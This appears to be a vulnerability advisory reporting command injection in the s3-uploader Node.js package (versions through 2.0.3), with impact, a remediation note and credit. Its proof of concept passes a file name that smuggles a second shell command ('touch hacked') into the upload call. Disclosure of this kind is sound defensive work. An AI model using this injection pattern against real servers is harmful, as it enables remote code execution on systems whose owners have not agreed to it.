Command Injection Vulnerability In S3-Uploader

NODE NODEJS JAVASCRIPT NPM RCE

Adar Zandberg Apr 25, 2021

Details Overview

Summary

The s3-uploader Node.js package insecurely passes data to the metadata() function, which is ultimately concatenated to an OS command and executed in the context of the server.

Product

s3-uploader through 2.0.3.

Impact

Potential remote code execution is possible in cases where the attacker has control over the parameters passed to Image.prototype.getMetadata.

Steps To Reproduce

In order to reproduce this, the following poc.js file should be created and executed:

```
var Upload = require('s3-uploader');
var client = new Upload('my_s3_bucket', {});
client.upload('nothing; touch hacked; #', {}, function(err, versions, meta) {});
```

Expected Result:

A file named `hacked` has been created

Remediation

It is recommended to sanitize every untrusted input used by your applications.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Adar Zandberg.

Resources

1. Vulnerable code node-s3-uploader/index.js